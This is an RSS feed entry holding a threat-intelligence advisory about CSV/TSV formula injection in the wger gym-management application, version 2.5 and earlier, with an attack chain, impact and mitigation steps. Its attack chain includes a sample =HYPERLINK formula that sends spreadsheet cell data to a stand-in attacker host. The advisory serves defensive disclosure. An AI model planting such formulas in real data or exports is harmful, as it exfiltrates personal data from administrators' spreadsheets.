<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Wger (&lt;= 2.5) — CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/wger--2.5/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata — refreshed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Wed, 03 Jan 2024 12:00:00 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/wger--2.5/feed.xml" rel="self" type="application/rss+xml"/><item><title>wger CSV/TSV Formula Injection Vulnerability</title><link>https://feed.craftedsignal.io/briefs/2024-01-wger-csv-injection/</link><pubDate>Wed, 03 Jan 2024 12:00:00 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2024-01-wger-csv-injection/</guid><description>A CSV/TSV injection vulnerability exists in wger &lt;= 2.5, allowing malicious gym members to inject spreadsheet formulas into their profiles, which are then executed when an administrator exports and opens the member list, potentially leading to data exfiltration and remote code execution.</description><content:encoded><![CDATA[<p>wger, a web-based workout and gym management application, is vulnerable to CSV/TSV formula injection. This flaw stems from the application&rsquo;s failure to sanitize user-supplied <code>first_name</code> and <code>last_name</code> fields when exporting gym member data to TSV format. A malicious gym member can inject spreadsheet formulas (e.g., using <code>=HYPERLINK</code>) into their profile, which are then stored in the database. When a gym administrator exports the member list using the affected endpoint (<code>/en/gym/export/users/&lt;gym_pk&gt;</code>) and opens the TSV file in a spreadsheet application like Excel or LibreOffice Calc, the injected formula executes within the administrator&rsquo;s local context, potentially enabling data exfiltration or even arbitrary code execution on older Excel versions with Dynamic Data Exchange (DDE) enabled. This vulnerability affects wger versions 2.5 and earlier, and poses a significant risk to organizations using wger to manage sensitive gym member data.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>A malicious gym member registers or modifies their profile via the profile edit endpoint.</li>
<li>The attacker injects a malicious formula (e.g., <code>=HYPERLINK(&quot;http://attacker.example/?p=&quot;&amp;A1,&quot;click&quot;)</code>) into the <code>first_name</code> or <code>last_name</code> field.</li>
<li>The wger application stores the unsanitized formula in the database.</li>
<li>A gym administrator with <code>manage_gym</code> permission initiates a member list export via <code>GET /en/gym/export/users/&lt;gym_pk&gt;</code>.</li>
<li>The server generates a TSV file containing the injected formula in the corresponding user&rsquo;s <code>first_name</code> or <code>last_name</code> field.</li>
<li>The administrator downloads the TSV file.</li>
<li>The administrator opens the TSV file using a spreadsheet application (e.g., Excel, LibreOffice Calc).</li>
<li>The spreadsheet application executes the injected formula, potentially exfiltrating data to <code>attacker.example</code> or, with DDE enabled, executing arbitrary commands on the administrator&rsquo;s workstation.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of this vulnerability can have severe consequences. An attacker could exfiltrate sensitive data, including other members&rsquo; email addresses, phone numbers, and other PII visible in the spreadsheet. In older versions of Excel with DDE enabled, the attacker could achieve arbitrary code execution on the administrator&rsquo;s workstation. This could lead to complete system compromise, allowing the attacker to install malware, steal credentials, or perform other malicious activities. Since this can occur every time the administrator performs a member export, the vulnerability poses a persistent risk.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Deploy the <code>wger-csv-injection-export</code> Sigma rule to detect when a gym administrator exports user data while a malicious formula is present in the database.</li>
<li>Deploy the <code>wger-csv-injection-profile-update</code> Sigma rule to detect suspicious profile updates containing formula prefixes.</li>
<li>Apply the vendor-supplied patch, which implements formula prefix sanitization, as detailed in the advisory.</li>
<li>Educate administrators about the risks of opening untrusted TSV/CSV files in spreadsheet applications.</li>
<li>Disable DDE in legacy Excel installations to prevent potential remote code execution.</li>
<li>Monitor network traffic for outbound connections to suspicious domains, as exfiltration may occur via the HYPERLINK or WEBSERVICE functions. Block the <code>attacker.example</code> domain at the DNS resolver if observed.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>csv-injection</category><category>formula-injection</category><category>web-application</category><category>data-exfiltration</category></item></channel></rss>